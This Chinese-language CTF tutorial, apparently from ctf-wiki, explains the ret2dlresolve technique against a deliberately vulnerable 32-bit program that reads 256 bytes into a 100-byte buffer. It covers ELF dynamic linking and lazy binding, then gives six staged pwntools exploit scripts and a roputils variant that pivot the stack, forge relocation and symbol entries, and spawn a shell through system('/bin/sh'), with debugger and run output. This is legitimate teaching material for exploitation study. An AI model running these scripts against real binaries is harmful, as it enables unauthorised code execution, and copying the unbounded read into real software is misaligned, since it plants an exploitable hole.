From http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
ROP模块简介https://www.jianshu.com/p/0d45e2025d97
- 利用条件
溢出的长度大于等于0x20(包括ebp) - 实例
首先构造一个存在栈溢出的程序
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
- 编译
gcc -o bof -m32 -fno-stack-protector bof.c
准备知识
相关结构
ELF可执行文件由ELF头部,程序头部表和其对应的段,节头部表和其对应的节组成。如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC
的段,它包含.dynamic
节。结构如下:
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
其中Tag对应着每个节。比如JMPREL
对应着.rel.plt
-
readelf -d bof
查看dynamic节
JMPREL
对应着.rel.plt
readelf -d bof
Dynamic section at offset 0xecc contains 27 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x41c
0x0000000d (FINI) 0x744
0x00000019 (INIT_ARRAY) 0x1ec4
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x1ec8
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x1ac
0x00000005 (STRTAB) 0x29c
0x00000006 (SYMTAB) 0x1cc
0x0000000a (STRSZ) 188 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x1fc4
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x3f4
0x00000011 (REL) 0x3a4
0x00000012 (RELSZ) 80 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x0000001e (FLAGS) BIND_NOW
0x6ffffffb (FLAGS_1) Flags: NOW PIE
0x6ffffffe (VERNEED) 0x374
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x358
0x6ffffffa (RELCOUNT) 4
0x00000000 (NULL) 0x0
节中包含目标文件的所有信息。节的结构如下:
typedef struct {
Elf32_Word sh_name; // 节头部字符串表节区的索引
Elf32_Word sh_type; // 节类型
Elf32_Word sh_flags; // 节标志,用于描述属性
Elf32_Addr sh_addr; // 节的内存映像
Elf32_Off sh_offset; // 节的文件偏移
Elf32_Word sh_size; // 节的长度
Elf32_Word sh_link; // 节头部表索引链接
Elf32_Word sh_info; // 附加信息
Elf32_Word sh_addralign; // 节对齐约束
Elf32_Word sh_entsize; // 固定大小的节表项的长度
} Elf32_Shdr;
-
readelf -S bof
列出节区
其中类型为REL
的节区包含重定位表项。
readelf -S bof
There are 29 section headers, starting at offset 0x1840:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 00000154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 00000168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 00000188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 000001ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 000001cc 0001cc 0000d0 10 A 6 1 4
[ 6] .dynstr STRTAB 0000029c 00029c 0000bc 00 A 0 0 1
[ 7] .gnu.version VERSYM 00000358 000358 00001a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 00000374 000374 000030 00 A 6 1 4
[ 9] .rel.dyn REL 000003a4 0003a4 000050 08 A 5 0 4
[10] .rel.plt REL 000003f4 0003f4 000028 08 AI 5 22 4
[11] .init PROGBITS 0000041c 00041c 000023 00 AX 0 0 4
[12] .plt PROGBITS 00000440 000440 000060 04 AX 0 0 16
[13] .plt.got PROGBITS 000004a0 0004a0 000010 08 AX 0 0 8
[14] .text PROGBITS 000004b0 0004b0 000292 00 AX 0 0 16
[15] .fini PROGBITS 00000744 000744 000014 00 AX 0 0 4
[16] .rodata PROGBITS 00000758 000758 000008 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 00000760 000760 00003c 00 A 0 0 4
[18] .eh_frame PROGBITS 0000079c 00079c 000114 00 A 0 0 4
[19] .init_array INIT_ARRAY 00001ec4 000ec4 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 00001ec8 000ec8 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 00001ecc 000ecc 0000f8 08 WA 6 0 4
[22] .got PROGBITS 00001fc4 000fc4 00003c 04 WA 0 0 4
[23] .data PROGBITS 00002000 001000 000008 00 WA 0 0 4
[24] .bss NOBITS 00002008 001008 000004 00 WA 0 0 1
[25] .comment PROGBITS 00000000 001008 00002a 01 MS 0 0 1
[26] .symtab SYMTAB 00000000 001034 000480 10 27 43 4
[27] .strtab STRTAB 00000000 0014b4 00028d 00 0 0 1
[28] .shstrtab STRTAB 00000000 001741 0000fc 00 0 0 1
-
.rel.plt
节是用于函数重定位,.rel.dyn
节是用于变量重定位
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
-
readelf -r bof
查看重定位相关的节
readelf -r bof
Relocation section '.rel.dyn' at offset 0x3a4 contains 10 entries:
Offset Info Type Sym.Value Sym. Name
00001ec4 00000008 R_386_RELATIVE
00001ec8 00000008 R_386_RELATIVE
00001ff8 00000008 R_386_RELATIVE
00002004 00000008 R_386_RELATIVE
00001fe4 00000306 R_386_GLOB_DAT 00000000 _ITM_deregisterTMClone
00001fe8 00000406 R_386_GLOB_DAT 00000000 __cxa_finalize@GLIBC_2.1.3
00001fec 00000506 R_386_GLOB_DAT 00000000 __gmon_start__
00001ff0 00000906 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
00001ff4 00000a06 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
00001ffc 00000b06 R_386_GLOB_DAT 00000000 _ITM_registerTMCloneTa
Relocation section '.rel.plt' at offset 0x3f4 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
00001fd0 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
00001fd4 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
00001fd8 00000607 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
00001fdc 00000707 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
00001fe0 00000807 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
如上,在.rel.plt
中列出了链接的C库函数,以下均以write函数为例,write函数的r_offset=0x1fe0,r_info=0x807
-
.got
节保存全局变量偏移表,.got.plt
节保存全局函数偏移表。.got.plt
对应着Elf32_Rel
结构中r_offset
的值。
-
.dynsym
节包含了动态链接符号表。Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)
。根据定义,
ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
(原题中)write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMP_SLOT
。
-
.dynstr
节包含了动态链接的字符串。这个节以\x00
作为开始和结尾,中间每个字符串也以\x00
间隔。
Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num),所以.dynstr
加上0x4c的偏移量,就是字符串write。 -
.plt
节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。
当程序执行call write@plt时,实际会跳到0x0804a01c去执行。
延迟绑定
程序在执行的过程中,可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术,在第一次调用C库函数是时才会去寻找真正的位置进行绑定。
具体来说,在前一部分我们已经知道,当程序执行call write@plt时,实际会跳到0x0804a01c去执行。而0x0804a01c处的汇编代码仅仅三行。我们来看一下这三行代码做了什么。
-
第一行:前面提到过0x0804a01c是write的GOT表位置,当我们第一次调用write时,其对应的GOT表里并没有存放write的真实地址,而是write@plt的下一条指令地址。
- 第二、三行:把reloc_arg=0x20作为参数推入栈中,跳到0x08048380(PLT[0])继续执行。
- 0x08048380(PLT[0])再把
link_map=*(GOT+4)
(即GOT[1],链接器的标识信息)作为参数推入栈中,而*(GOT+8)
(即GOT[2],动态链接器中的入口点)中保存的是_dl_runtime_resolve
函数的地址。因此以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg)
,该函数会完成符号的解析,即将真实的write函数地址写入其GOT条目中,随后把控制权交给write函数。
_dl_runtime_resolve是在glibc-2.23/sysdeps/i386/dl-trampoline.S中用汇编实现的。0xf7fededb处即调用_dl_fixup
,并且通过寄存器传参。
_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们只关注一些主要函数。
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
漏洞利用方式
1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system
控制eip
程序只开了NX保护
由于程序存在栈缓冲区漏洞,我们可以用peda很快定位覆写eip的位置
分析偏移
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/ret2dlresolve/main
Welcome to XDCTF2015~!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x000000c9
$ebx : 0x00000000
$ecx : 0xffffcc6c → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$edx : 0x00000100
$esp : 0xffffcce0 → "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]"
$ebp : 0x62616163 ("caab"?)
$esi : 0xf7fac000 → 0x001b1db0
$edi : 0xffffcd50 → 0xffffcd70 → 0x00000001
$eip : 0x62616164 ("daab"?)
$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcce0', 'l8']
8
0xffffcce0│+0x00: "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]" ← $esp
0xffffcce4│+0x04: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]"
0xffffcce8│+0x08: "gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsa[...]"
0xffffccec│+0x0c: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]"
0xffffccf0│+0x10: "iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabua[...]"
0xffffccf4│+0x14: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]"
0xffffccf8│+0x18: "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa[...]"
0xffffccfc│+0x1c: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern search
[!] Syntax
pattern search PATTERN [SIZE]
gef➤ pattern search 0x62616164
[+] Searching '0x62616164'
[+] Found at offset 112 (little-endian search) likely
此处使用pattern create 200
和pattern search 0x62616164
结合分析偏移;也可以将后者用pattern_offset 0x62616164
来查找偏移。
这题我们不考虑我们有 libc 的情况。我们可以很容易的分析出偏移为 112。(这个偏移是刚好覆盖EBP的时候的偏移量,此处没有canary)。
stage1
我们先写一个ROP链,直到返回到write@plt
这里我们的主要目的是控制程序执行 write 函数,虽然我们可以控制程序直接执行 write 函数。但是这里我们采用一个更加复杂的办法,即使用栈迁移的技巧,将栈迁移到 bss 段来控制 write 函数。即主要分为两步
- 将栈迁移到 bss 段。
- 控制 write 函数输出相应字符串。
使用 pwntools 中的 ROP 模块。具体代码如下
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
效果是输出了 cmd 对应的字符串。
stage2
在这一阶段,我们将会利用 dlresolve 相关的知识来控制程序执行 write 函数。这里我们主要是利用 plt[0] 中的相关指令,即 push linkmap
以及跳转到 dl_resolve
函数中解析的指令。此外,我们还得单独提供一个 write 重定位项在 plt 表中的偏移。
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
write_index = (elf.plt['write'] - plt0) / 16 - 1
write_index *= 8
rop.raw(plt0)
rop.raw(write_index)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
效果仍然是输出了 cmd 对应的字符串。
stage3
这一次,我们同样控制 dl_resolve 函数中的 index_offset 参数,不过这次控制其指向我们伪造的 write 重定位项。
鉴于 pwntools 本身并不支持对重定位表项的信息的获取。这里我们手动看一下
➜ ret2dlresolve git:(master) ✗ readelf -r main
重定位节 '.rel.dyn' 位于偏移量 0x318 含有 3 个条目:
偏移量 信息 类型 符号值 符号名称
08049ffc 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
0804a040 00000905 R_386_COPY 0804a040 stdin@GLIBC_2.0
0804a044 00000705 R_386_COPY 0804a044 stdout@GLIBC_2.0
重定位节 '.rel.plt' 位于偏移量 0x330 含有 5 个条目:
偏移量 信息 类型 符号值 符号名称
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
可以看出 write 的重定表项的 r_offset=0x0804a01c,r_info=0x00000607。具体代码如下
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = 0x607
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(write_got) # fake reloc
rop.raw(r_info)
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
最后结果如下,这次我们在 bss 段伪造了一个假的 write 的重定位项,仍然输出了对应的字符串。
stage4
stage3 中,我们控制了重定位表项,但是重定位表项的内容与 write 原来的重定位表项一致,这次,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。首先,我们根据 write 的重定位表项的 r_info=0x607 可以知道,write 对应的符号在符号表的下标为 0x607>>8=0x6。因此,我们知道 write 对应的符号地址为 0x8048238。
➜ ret2dlresolve git:(master) ✗ objdump -s -EL -j .dynsym main
main: 文件格式 elf32-i386
Contents of section .dynsym:
80481d8 00000000 00000000 00000000 00000000 ................
80481e8 33000000 00000000 00000000 12000000 3...............
80481f8 27000000 00000000 00000000 12000000 '...............
8048208 52000000 00000000 00000000 20000000 R........... ...
8048218 20000000 00000000 00000000 12000000 ...............
8048228 3a000000 00000000 00000000 12000000 :...............
8048238 4c000000 00000000 00000000 12000000 L...............
8048248 2c000000 44a00408 04000000 11001a00 ,...D...........
8048258 0b000000 3c860408 04000000 11001000 ....<...........
8048268 1a000000 40a00408 04000000 11001a00 ....@...........
这里给出的其实是小端模式,因此我们需要手工转换。此外,每个符号占用的大小为 16 个字节。
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (
fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
fake_write_sym = flat([0x4c, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
stage5
这一阶段,我们将在阶段 4 的基础上,我们进一步使得 write 符号的 st_name 指向我们自己构造的字符串
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (
fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('write\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
stage6
这一阶段,我们只需要将原先的 write 字符串修改为 system 字符串,同时修改 write 的参数为 system 的参数即可获取 shell。这是因为,dl_resolve 最终依赖的是我们所给定的字符串,即使我们给了一个假的字符串它仍然会去解析并执行。具体代码如下
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (
fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol
rop.raw('system\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
需要注意的是,这里我'/bin/sh'的偏移修改为了 82,这是因为 pwntools 中它会自动帮你对齐字符串。。。下面这一行说明了问题。
0x0050: 'aara'
效果:
➜ ret2dlresolve git:(master) ✗ python stage6.py
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/ret2dlresolve/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './main': pid 130415
[*] Loaded cached gadgets for './main'
0x0000: 0x8048380
0x0004: 0x2528
0x0008: 'bbbb' 'bbbb'
0x000c: 0x804a892
0x0010: 'bbbb' 'bbbb'
0x0014: 'bbbb' 'bbbb'
0x0018: '\x1c\xa0\x04\x08' '\x1c\xa0\x04\x08\x07i\x02\x00'
0x001c: '\x07i\x02\x00'
0x0020: 'aaaa' 'aaaaaaaa'
0x0024: 'aaaa'
0x0028: '\x00&\x00\x00' '\x00&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00'
0x002c: '\x00\x00\x00\x00'
0x0030: '\x00\x00\x00\x00'
0x0034: '\x12\x00\x00\x00'
0x0038: 'syst' 'system\x00'
0x003c: 'em\x00o'
0x0040: 'aa'
0x0044: 'aaaa' 'aaaaaaaaaaaaaa'
0x0048: 'aaaa'
0x004c: 'aaaa'
0x0050: 'aara'
82
[*] Switching to interactive mode
/bin/sh: 1: xa: not found
$ ls
core main.c stage2.py stage4.py stage6.py
main stage1.py stage3.py stage5.py
工具攻击
根据上面的介绍,我们应该很容易可以理解这个攻击了。下面我们直接使用 roputil 来进行攻击。代码如下
关于 dl_resolve_call 与 dl_resolve_data 的具体细节请参考 roputils.py 的源码,比较容易理解,需要注意的是,dl_resolve 执行完之后也是需要有对应的返回地址的。
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
效果如下
➜ ret2dlresolve git:(master) ✗ python roptool.py
[+] Starting local process './main': pid 6114
[DEBUG] Received 0x17 bytes:
'Welcome to XDCTF2015~!\n'
[DEBUG] Sent 0x94 bytes:
00000000 46 4c 68 78 52 36 67 6e 65 47 53 58 71 77 51 49 │FLhx│R6gn│eGSX│qwQI│
00000010 32 43 6c 49 77 76 51 33 47 49 4a 59 50 74 6c 38 │2ClI│wvQ3│GIJY│Ptl8│
00000020 57 54 68 4a 63 48 39 62 46 55 52 58 50 73 38 64 │WThJ│cH9b│FURX│Ps8d│
00000030 72 4c 38 63 50 79 37 73 55 45 7a 32 6f 59 5a 42 │rL8c│Py7s│UEz2│oYZB│
00000040 76 59 32 43 74 75 77 6f 70 56 61 44 6a 73 35 6b │vY2C│tuwo│pVaD│js5k│
00000050 41 77 78 77 49 72 7a 49 70 4d 31 67 52 6f 44 6f │Awxw│IrzI│pM1g│RoDo│
00000060 43 44 43 6e 45 31 50 48 53 73 64 30 6d 54 7a 5a │CDCn│E1PH│Ssd0│mTzZ│
00000070 a0 83 04 08 19 86 04 08 00 00 00 00 40 a0 04 08 │····│····│····│@···│
00000080 64 00 00 00 80 83 04 08 28 1d 00 00 79 83 04 08 │d···│····│(···│y···│
00000090 40 a0 04 08 │@···││
00000094
